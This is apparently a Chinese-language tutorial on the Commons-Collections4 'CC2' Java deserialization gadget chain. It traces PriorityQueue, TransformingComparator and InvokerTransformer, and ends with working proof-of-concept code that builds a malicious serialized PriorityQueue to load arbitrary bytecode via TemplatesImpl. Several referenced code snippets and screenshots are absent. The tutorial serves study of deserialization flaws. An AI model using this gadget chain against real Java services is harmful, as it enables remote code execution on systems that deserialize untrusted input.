前言
分析完CC3利用链,有了之前的基础,我们来独立分析一下CC2利用链。
首先看一下CC2利用链有什么不同:
通过yso的代码可以看出,cc2利用链用的是commons-collections4版本,而我们之前用的是3.1版本。
所以首先要下载一下依赖,pom文件加入:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
另外就是我们反序列化的对象是一个PriorityQueue对象,从名字上看这是一个队列。返回了这个对象就代表这是反序列化的入口,所以我们从这个类开始分析。
PriorityQueue类
首先来看一下这个类的构造函数:
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
可以看到构造函数很简单,有两个参数,一个是Int类型的一个是Comparator类型的。构造函数只是构造了一个Object数组放在了this.queue变量中,另外将Comparator参数放在了this.comparator成员变量中。
接下来看一下readObject函数,这才是反序列化的入口,看看这个函数中有什么地方可以触发调用链。
通过代码可以看出,除了最后一个heapify方法其他并没有可以触发调用链的地方。
继续看heapify方法:
没啥好说的,继续往下跟:
到这里可以看到,首先判断了一下comparator变量是否等于null,如果不等于null则调用siftDownUsingComparator方法。
在之前的构造函数中可以看到,这个comparator变量是外部传进来的参数。而yso代码中可以看到传入了一个TransformingComparator对象,所以这个变量肯定是不为null的,所以加下来跟进siftDownUsingComparator方法:
可以看到在siftDownUsingComparator方法中最终调用了comparator.compare,而comparator变量当前传入的是TransformingComparator对象,所以接下来看一下TransformingComparator类的定义。
TransformingComparator类
老样子,首先看一下构造函数:
构造函数将我们传入的Transformer对象保存在了成员变量中,这个Transformer对象的定义和之前分析的不太一样,看一下定义:
总体上差不多,就是加了个键值。
接下来看一下compare方法的定义:
可以看到调用了this.transformer.transform,而transformer是我们构造对象时传入的Transformer对象。
到这里就清晰了,回想我们之前分析的所有CC链,都是在找一个可以调用Transformer.transform的地方。
接下来继续往下分析一下这个调用链是如何执行命令的。
执行命令的办法和之前分析的CC3大同小异,这里就不详细分析了,有疑问可以去看之前CC3的分析文章。
构造poc
分析完原理,我们来手写一个CC3验证一下我们的想法是否正确。
最终代码如下:
public static void main(String[] args) throws Exception
{
byte[] fileData = readFileToByte("E:\\JavaSource\\MyDemo\\Hello.class");
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][] {fileData});
setFieldValue(templatesImpl, "_name", "Hello");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
queue.add(templatesImpl);
queue.add("test");
setFieldValue(transformer,"iMethodName","newTransformer");
ByteOutputStream bout = new ByteOutputStream();
ObjectOutputStream obo = new ObjectOutputStream(bout);
obo.writeObject(queue);
ByteInputStream bip = new ByteInputStream(bout.getBytes(),bout.size());
ObjectInputStream ois = new ObjectInputStream(bip);
ois.readObject();
}
再次提醒,编译成字节码的类文件中不能有包信息,如果有包信息则会执行失败。
被加载的类代码如下:
运行代码得到如下界面:
调用链
PriorityQueue.readObject
PriorityQueue.heapify
PriorityQueue.siftDown
PriorityQueue.siftDownUsingComparator
TransformingComparator.compare
InvokerTransformer.transform
templatesImpl.newTransformer
templatesImpl.getTransletInstance
TransletClassLoader.defineClass
总结
这条调用链是CC4.0版本的第一条调用链,引入了两个新类分别是PriorityQueue和TransformingComparator,其他方面变化不大。